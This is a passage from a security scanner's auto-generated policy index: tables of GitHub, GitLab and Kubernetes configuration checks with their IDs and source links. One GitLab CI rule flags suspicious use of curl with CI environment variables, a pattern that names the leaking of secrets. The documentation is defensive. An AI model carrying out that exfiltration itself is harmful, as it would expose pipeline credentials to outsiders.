[disallow_force_pushes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_force_pushes.py) | | 5 | CKV_GITHUB_6 | github_configuration | * | Ensure GitHub organization webhooks are using HTTPS | github_configuration | [webhooks_https_orgs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/webhooks_https_orgs.py) | | 6 | CKV_GITHUB_7 | github_configuration | * | Ensure GitHub repository webhooks are using HTTPS | github_configuration | [webhooks_https_repos.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/webhooks_https_repos.py) | | 7 | CKV_GITHUB_8 | github_configuration | * | Ensure GitHub branch protection rules requires linear history | github_configuration | [require_linear_history.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_linear_history.py) | | 8 | CKV_GITHUB_9 | github_configuration | * | Ensure 2 admins are set for each repository | github_configuration | [repository_collaborators.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/repository_collaborators.py) | | 9 | CKV_GITHUB_10 | github_configuration | * | Ensure branch protection rules are enforced on administrators | github_configuration | [enforce_branch_protection_admins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/enforce_branch_protection_admins.py) | | 10 | CKV_GITHUB_11 | github_configuration | * | Ensure GitHub branch protection dismisses stale review on new commit | github_configuration | [dismiss_stale_reviews.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/dismiss_stale_reviews.py) | | 11 | CKV_GITHUB_12 | github_configuration | * | Ensure GitHub branch protection restricts who can dismiss PR reviews | github_configuration | [restrict_pr_review_dismissal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/restrict_pr_review_dismissal.py) | | 12 | CKV_GITHUB_13 | github_configuration | * | Ensure GitHub branch protection requires CODEOWNER reviews | github_configuration | [require_code_owner_reviews.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_code_owner_reviews.py) | | 13 | CKV_GITHUB_14 | github_configuration | * | Ensure all checks have passed before the merge of new code | github_configuration | [require_status_checks_pr.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_status_checks_pr.py) | | 14 | CKV_GITHUB_15 | github_configuration | * | Ensure inactive branches are reviewed and removed periodically | github_configuration | [disallow_inactive_branch_60days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_inactive_branch_60days.py) | | 15 | CKV_GITHUB_16 | github_configuration | * | Ensure GitHub branch protection requires conversation resolution | github_configuration | [require_conversation_resolution.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_conversation_resolution.py) | | 16 | CKV_GITHUB_17 | github_configuration | * | Ensure GitHub branch protection requires push restrictions | github_configuration | [require_push_restrictions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_push_restrictions.py) | | 17 | CKV_GITHUB_18 | github_configuration | * | Ensure GitHub branch protection rules does not allow deletions | github_configuration | [disallow_branch_deletions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/disallow_branch_deletions.py) | | 18 | CKV_GITHUB_19 | github_configuration | * | Ensure any change to code receives approval of two strongly authenticated users | github_configuration | [require_2approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_2approvals.py) | | 19 | CKV_GITHUB_20 | github_configuration | * | Ensure open git branches are up to date before they can be merged into codebase | github_configuration | [require_updated_branch_pr.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_updated_branch_pr.py) | | 20 | CKV_GITHUB_21 | github_configuration | * | Ensure public repository creation is limited to specific members | github_configuration | [public_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/public_repository_creation_is_limited.py) | | 21 | CKV_GITHUB_22 | github_configuration | * | Ensure private repository creation is limited to specific members | github_configuration | [private_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/private_repository_creation_is_limited.py) | | 22 | CKV_GITHUB_23 | github_configuration | * | Ensure internal repository creation is limited to specific members | github_configuration | [internal_repository_creation_is_limited.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/internal_repository_creation_is_limited.py) | | 23 | CKV_GITHUB_26 | github_configuration | * | Ensure minimum admins are set for the organization | github_configuration | [minimum_admins_in_org.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/minimum_admins_in_org.py) | | 24 | CKV_GITHUB_27 | github_configuration | * | Ensure strict base permissions are set for repositories | github_configuration | [require_strict_base_permissions_repository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_strict_base_permissions_repository.py) | | 25 | CKV_GITHUB_28 | github_configuration | * | Ensure an organization's identity is confirmed with a Verified badge Passed | github_configuration | [require_verified_organization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_verified_organization.py) | --- ================================================ FILE: docs/5.Policy Index/gitlab_ci.md ================================================ --- layout: default title: gitlab_ci resource scans nav_order: 1 --- # gitlab_ci resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|----------------|--------|--------------|----------------------------------------------------------------|-----------|-----------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_GITLABCI_1 | jobs | *.script[] | Suspicious use of curl with CI environment variables in script | gitlab_ci | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/SuspectCurlInScript.py) | | 1 | CKV_GITLABCI_2 | jobs | *.rules | Avoid creating rules that generate double pipelines | gitlab_ci | [AvoidDoublePipelines.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/AvoidDoublePipelines.py) | | 2 | CKV_GITLABCI_3 | jobs | *.image[] | Detecting image usages in gitlab workflows | gitlab_ci | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/DetectImagesUsage.py) | | 3 | CKV_GITLABCI_3 | jobs | *.services[] | Detecting image usages in gitlab workflows | gitlab_ci | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab_ci/checks/job/DetectImagesUsage.py) | --- ================================================ FILE: docs/5.Policy Index/gitlab_configuration.md ================================================ --- layout: default title: gitlab_configuration resource scans nav_order: 1 --- # gitlab_configuration resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|--------------|----------------------|----------|----------------------------------------------------|----------------------|------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_GITLAB_1 | gitlab_configuration | * | Merge requests should require at least 2 approvals | gitlab_configuration | [merge_requests_approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/gitlab/checks/merge_requests_approvals.py) | --- ================================================ FILE: docs/5.Policy Index/kubernetes.md ================================================ --- layout: default title: kubernetes resource scans nav_order: 1 --- # kubernetes resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |-----|-------------|----------|------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_K8S_1 | resource | PodSecurityPolicy | Do not admit containers wishing to share the host process ID namespace | Kubernetes | [ShareHostPIDPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPIDPSP.py) | | 1 | CKV_K8S_2 | resource | PodSecurityPolicy | Do not admit privileged containers | Kubernetes | [PrivilegedContainersPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainersPSP.py) | | 2 | CKV_K8S_3 | resource | PodSecurityPolicy | Do not admit containers wishing to share the host IPC namespace | Kubernetes | [ShareHostIPCPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPCPSP.py) | | 3 | CKV_K8S_4 | resource | PodSecurityPolicy | Do not admit containers wishing to share the host network namespace | Kubernetes | [SharedHostNetworkNamespacePSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespacePSP.py) | | 4 | CKV_K8S_5 | resource | PodSecurityPolicy | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalationPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalationPSP.py) | | 5 | CKV_K8S_6 | resource | PodSecurityPolicy | Do not admit root containers | Kubernetes | [RootContainersPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersPSP.py) | | 6 | CKV_K8S_7 | resource | PodSecurityPolicy | Do not admit containers with the NET_RAW capability | Kubernetes | [DropCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DropCapabilitiesPSP.py) | | 7 | CKV_K8S_8 | resource | DaemonSet | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 8 | CKV_K8S_8 | resource | Deployment | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 9 | CKV_K8S_8 | resource | DeploymentConfig | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 10 | CKV_K8S_8 | resource | Pod | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 11 | CKV_K8S_8 | resource | PodTemplate | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 12 | CKV_K8S_8 | resource | ReplicaSet | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 13 | CKV_K8S_8 | resource | ReplicationController | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 14 | CKV_K8S_8 | resource | StatefulSet | Liveness Probe Should be Configured | Kubernetes | [LivenessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/LivenessProbe.py) | | 15 | CKV_K8S_9 | resource | DaemonSet | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 16 | CKV_K8S_9 | resource | Deployment | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 17 | CKV_K8S_9 | resource | DeploymentConfig | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 18 | CKV_K8S_9 | resource | Pod | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 19 | CKV_K8S_9 | resource | PodTemplate | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 20 | CKV_K8S_9 | resource | ReplicaSet | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 21 | CKV_K8S_9 | resource | ReplicationController | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 22 | CKV_K8S_9 | resource | StatefulSet | Readiness Probe Should be Configured | Kubernetes | [ReadinessProbe.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py) | | 23 | CKV_K8S_10 | resource | CronJob | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 24 | CKV_K8S_10 | resource | DaemonSet | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 25 | CKV_K8S_10 | resource | Deployment | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 26 | CKV_K8S_10 | resource | DeploymentConfig | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 27 | CKV_K8S_10 | resource | Job | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 28 | CKV_K8S_10 | resource | Pod | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 29 | CKV_K8S_10 | resource | PodTemplate | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 30 | CKV_K8S_10 | resource | ReplicaSet | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 31 | CKV_K8S_10 | resource | ReplicationController | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 32 | CKV_K8S_10 | resource | StatefulSet | CPU requests should be set | Kubernetes | [CPURequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPURequests.py) | | 33 | CKV_K8S_11 | resource | CronJob | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 34 | CKV_K8S_11 | resource | DaemonSet | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 35 | CKV_K8S_11 | resource | Deployment | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 36 | CKV_K8S_11 | resource | DeploymentConfig | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 37 | CKV_K8S_11 | resource | Job | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 38 | CKV_K8S_11 | resource | Pod | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 39 | CKV_K8S_11 | resource | PodTemplate | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 40 | CKV_K8S_11 | resource | ReplicaSet | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 41 | CKV_K8S_11 | resource | ReplicationController | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 42 | CKV_K8S_11 | resource | StatefulSet | CPU limits should be set | Kubernetes | [CPULimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/CPULimits.py) | | 43 | CKV_K8S_12 | resource | CronJob | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 44 | CKV_K8S_12 | resource | DaemonSet | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 45 | CKV_K8S_12 | resource | Deployment | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 46 | CKV_K8S_12 | resource | DeploymentConfig | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 47 | CKV_K8S_12 | resource | Job | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 48 | CKV_K8S_12 | resource | Pod | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 49 | CKV_K8S_12 | resource | PodTemplate | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 50 | CKV_K8S_12 | resource | ReplicaSet | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 51 | CKV_K8S_12 | resource | ReplicationController | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 52 | CKV_K8S_12 | resource | StatefulSet | Memory requests should be set | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py) | | 53 | CKV_K8S_13 | resource | CronJob | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 54 | CKV_K8S_13 | resource | DaemonSet | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 55 | CKV_K8S_13 | resource | Deployment | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 56 | CKV_K8S_13 | resource | DeploymentConfig | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 57 | CKV_K8S_13 | resource | Job | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 58 | CKV_K8S_13 | resource | Pod | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 59 | CKV_K8S_13 | resource | PodTemplate | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 60 | CKV_K8S_13 | resource | ReplicaSet | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 61 | CKV_K8S_13 | resource | ReplicationController | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 62 | CKV_K8S_13 | resource | StatefulSet | Memory limits should be set | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py) | | 63 | CKV_K8S_14 | resource | CronJob | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 64 | CKV_K8S_14 | resource | DaemonSet | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 65 | CKV_K8S_14 | resource | Deployment | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 66 | CKV_K8S_14 | resource | DeploymentConfig | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 67 | CKV_K8S_14 | resource | Job | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 68 | CKV_K8S_14 | resource | Pod | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 69 | CKV_K8S_14 | resource | PodTemplate | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 70 | CKV_K8S_14 | resource | ReplicaSet | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 71 | CKV_K8S_14 | resource | ReplicationController | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 72 | CKV_K8S_14 | resource | StatefulSet | Image Tag should be fixed - not latest or blank | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py) | | 73 | CKV_K8S_15 | resource | CronJob | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 74 | CKV_K8S_15 | resource | DaemonSet | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 75 | CKV_K8S_15 | resource | Deployment | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 76 | CKV_K8S_15 | resource | DeploymentConfig | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 77 | CKV_K8S_15 | resource | Job | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 78 | CKV_K8S_15 | resource | Pod | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 79 | CKV_K8S_15 | resource | PodTemplate | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 80 | CKV_K8S_15 | resource | ReplicaSet | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 81 | CKV_K8S_15 | resource | ReplicationController | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 82 | CKV_K8S_15 | resource | StatefulSet | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 83 | CKV_K8S_16 | resource | CronJob | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 84 | CKV_K8S_16 | resource | DaemonSet | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 85 | CKV_K8S_16 | resource | Deployment | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 86 | CKV_K8S_16 | resource | DeploymentConfig | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 87 | CKV_K8S_16 | resource | Job | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 88 | CKV_K8S_16 | resource | Pod | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 89 | CKV_K8S_16 | resource | PodTemplate | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 90 | CKV_K8S_16 | resource | ReplicaSet | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 91 | CKV_K8S_16 | resource | ReplicationController | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 92 | CKV_K8S_16 | resource | StatefulSet | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 93 | CKV_K8S_17 | resource | CronJob | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 94 | CKV_K8S_17 | resource | DaemonSet | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 95 | CKV_K8S_17 | resource | Deployment | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 96 | CKV_K8S_17 | resource | Job | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 97 | CKV_K8S_17 | resource | Pod | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 98 | CKV_K8S_17 | resource | ReplicaSet | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 99 | CKV_K8S_17 | resource | ReplicationController | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 100 | CKV_K8S_17 | resource | StatefulSet | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 101 | CKV_K8S_18 | resource | CronJob | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 102 | CKV_K8S_18 | resource | DaemonSet | Containers should not share the host IPC namespace | Kubernetes | 